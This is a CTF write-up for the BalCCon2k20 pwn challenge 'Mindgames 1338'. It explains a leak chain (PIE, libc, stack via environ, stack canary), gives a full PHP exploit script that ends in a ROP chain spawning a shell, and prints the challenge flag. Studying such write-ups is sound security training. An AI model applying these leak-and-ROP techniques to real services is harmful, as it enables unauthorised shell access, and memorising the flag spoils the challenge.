Rating:

# Mindgames 1338 - BalCCon2k20 CTF (pwn, 470, 8 solved)
## Introduction

Mindgames 1338 is a pwn task. This is the third and last challenge of the
Mindgames serie (Mindgames 1336, 1337, 1338). This challenge has PIE and stack
canaries.

A Linux ELF file is provided. It is a guessing game. The highest score belongs
to a randomly generated Star Wars character, but can be replaced by the user's
name.

## Reverse engineering

The reverse engineering has been explained in Mindgames 1336's and Mindgames
1337's writeups.

## Exploitation

The exploitation here is slightly more complicated due to the presence of stack
canaries : not only is it required to leak the binary's base address, but it is
also required to leak the stack canary to overwrite it.

The canary is stored on the stack. A pointer to the stack can be found in the
libc (`environ`, which points to the program's environment variables).

The exploitation becomes:
1. leak PIE by overwriting last byte of `player`
2. leak libc by pointing `player` to `__libc_start_main`
3. leak stack by pointing `player` to libc's `environ` pointer
4. leak canary by pointing `player` to `environ - 0x110`
5. ROP to call `system("/bin/sh")`

**Flag**: `BCTF{0h_no!_N0w_y0u_killed_my_canary!_Your_mind_really_is_a_weapon!}`

## Appendices
### pwn.php
```php
#!/usr/bin/php
expectLine("What do you want to do?");
$t->expectLine(" 1) Show Highscore");
$t->expectLine(" 2) Play the game");
$t->expectLine(" 3) Exit");
$t->expect("> ");
}

function hs(Tube $t)
{
menu($t);
$t->write("1\n");

$t->expectLine("Current highscore:");
$line = $t->readLine();

list($score, , $player) = explode("\t", $line, 3);
$score |= 0;
$player = substr($player, 1);

return [$score, $player];
}

function play(Tube $t, $name, $count = 0)
{
global $ffi;

menu($t);
$t->write("2\n");

$t->expectLine("Can you guess my numbers?");
$t->expect("> ");

for($i = 0; $i < $count; $i++) {
$guess = $ffi->rand();
$t->write("$guess\n");
}

for($i = 0; $i < $count; $i++) {
$t->expectLine("You were lucky this time!");
$t->expect(">");
}

$t->write("-1\n");
$t->expectLine("Game over!");
$t->expectLine("New Highscore! Amazing!");

$t->expect("Give me your name: ");
$t->write($name);
}

printf("[*] Creating process\n");
$time = microtime(true);

$t = new Socket(HOST, PORT);
$date = strftime("%Y-%m-%d %H:%M:%S"); // it's okay because we use NTP ;-)
$t->expectLine("Hello there! It's $date and the weather looks pretty nice!");

//$t->expect("Hello there! It's ");
//$date = $t->read(strlen("2020-09-25 21:26:35"));
//$t->expectLine(" and the weather looks pretty nice!");
$t->expectLine("");
$t->expectLine("");
$t->expectLine("We should play a game of the mind!");
$t->expect("> ");

$ffi = FFI::load("rand.h");

printf("[+] Done in %f seconds\n", microtime(true) - $time);
printf("\n");

$time = strtotime($date);
$ffi->srand($time);
$ffi->rand(); // player
$score = $ffi->rand(); // score

printf("[*] Leak addresses\n");

/* Leak */
$payload = str_pad("XeR", 0x20, "\x00");
$payload .= pack("Q", 0); // faster
$payload .= "\xe8";

play($t, $payload, 32);
$hs = hs($t);
$addr = str_pad(substr($hs[1], 0, 8), 8, "\x00");
$base = unpack("Q", $addr)[1] - 0x40e8;

printf("[+] base: %X\n", $base);

$payload = str_pad("XeR", 0x20, "\x00");
$payload .= pack("Q", 0); // faster
$payload .= pack("Q", $base + LSM);

play($t, $payload);
$hs = hs($t);
$addr = str_pad(substr($hs[1], 0, 8), 8, "\x00");
$addr = unpack("Q", $addr)[1];
$libc = $addr & ~0xFFF;
$libc -= 0x23000;

printf("[+] libc: %X\n", $libc);

$payload = str_pad("XeR", 0x20, "\x00");
$payload .= pack("Q", 0); // faster
$payload .= pack("Q", $libc + ENVIRON);

play($t, $payload);
$hs = hs($t);
$addr = str_pad(substr($hs[1], 0, 8), 8, "\x00");
$stack = unpack("Q", $addr)[1];

printf("[+] stack: %X\n", $stack);

$payload = str_pad("XeR", 0x20, "\x00");
$payload .= pack("Q", 0); // faster
$payload .= pack("Q", $stack - 0x110 + 1);

play($t, $payload);
$hs = hs($t);
$leak = "\x00" . substr($hs[1], 0, 7);
$canary = unpack("Q", $leak)[1];
assert(8 === strlen($leak));

printf("[+] canary: %X\n", $canary);
printf("\n");

/* actual pwn */
$payload = str_repeat("x", 0x108);
$payload .= pack("Q", $canary); // canary

$payload .= pack("Q", 0xdeadbeef); // rbp
$payload .= pack("Q*",
$libc + POPRDI, $libc + BINSH,
$base + PUTS,

$libc + POPRDI, $libc + BINSH,
$libc + SYSTEM,

-1
); // rip

play($t, $payload);

printf("[!] shell\n");
$t->pipe();
```

Original writeup (https://github.com/TFNS/writeups/blob/master/2020-09-25-BalCCon/mindgames_1338/README.md).